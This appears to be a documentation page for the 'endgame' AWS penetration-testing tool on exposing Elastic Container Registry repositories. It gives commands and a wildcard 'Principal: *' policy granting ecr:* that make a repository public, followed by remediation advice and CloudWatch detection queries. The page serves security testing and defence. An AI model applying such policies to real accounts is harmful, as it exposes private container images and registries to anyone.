Elastic Container Registries (ECR)

• Steps to Reproduce
• Exploitation
• Remediation
• Basic Detection
• References

Steps to Reproduce

• To expose the resource using endgame, run the following from the victim account:

export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil

expose --service ecr --name test-resource-exposure

• Alternatively, to expose the resource using the AWS CLI:

Create a file named ecr-policy.json with the following contents:

{
    "Version" : "2008-10-17",
    "Statement" : [
        {
            "Sid" : "allow public pull",
            "Effect" : "Allow",
            "Principal" : "*",
            "Action" : [
                "ecr:*"
            ]
        }
    ]
}

Then run the following from the victim account:

aws ecr set-repository-policy --repository-name test-resource-exposure --policy-text file://ecr-policy.json

• To view the contents of the exposed resource policy, run the following:

aws ecr get-repository-policy \
    --repository-name test-resource-exposure

• Observe that the contents match the example shown below.

Example

The policy shown below shows a policy that grants access to Principal *. If the output contains * in Principal, that means the ECR repository is public. If the Principal contains just an account ID, that means it is shared with another account.

{
    "registryId": "111122223333",
    "repositoryName": "test-resource-exposure",
    "policyText": "{\n  \"Version\" : \"2008-10-17\",\n  \"Statement\" : [ {\n    \"Sid\" : \"allow public pull\",\n    \"Effect\" : \"Allow\",\n    \"Principal\" : \"*\",\n    \"Action\" : \"ecr:*\"\n  } ]\n}"
}

Exploitation

TODO

Remediation

‼️ Note: At the time of this writing, AWS Access Analyzer does NOT support auditing of this resource type to prevent resource exposure. We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool. 😊

• Leverage Strong Resource-based Policies: Follow the resource-based policy recommendations in the Prevention Guide
• Trusted Accounts Only: Ensure that ECR Repositories are only shared with trusted accounts, and that the trusted accounts truly need access to the ECR Repository.
• Ensure access is necessary: For any trusted accounts that do have access, ensure that the access is absolutely necessary.
• Restrict access to IAM permissions that could lead to exposure of your ECR Repositories: Tightly control access to the following IAM actions:
  • ecr:SetRepositoryPolicy: Grants permission to apply a repository policy on a specified repository to control access permissions
  • ecr:DeleteRepositoryPolicy: Grants permission to delete the repository policy from a specified repository
  • ecr:GetRepositoryPolicy: Grants permission to retrieve the repository policy for a specified repository
  • ecr:DescribeRepositories: Grants permission to describe image repositories in a registry
  • ecr:PutRegistryPolicy: Grants permission to update the registry policy
  • ecr:DeleteRegistryPolicy: Grants permission to delete the registry policy

Also, consider using Cloudsplaining to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report here

Basic Detection

The following CloudWatch Log Insights query will include exposure actions taken by endgame:

fields eventTime, eventSource, eventName, userIdentity.arn, userAgent 
| filter eventSource='ecr.amazonaws.com' and (eventName='SetRepositoryPolicy' or eventName='DeleteRepositoryPolicy' 
or eventName='PutRegistryPolicy' or eventName='DeleteRegistryPolicy') 

The following query detects policy modifications which include the default IOC string:

fields eventTime, eventSource, eventName, userIdentity.arn, userAgent
| filter eventSource='ecr.amazonaws.com' and (eventName='SetRepositoryPolicy' and responseElements.policyText like 'Endgame')

This query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.

References

• set-repository-policy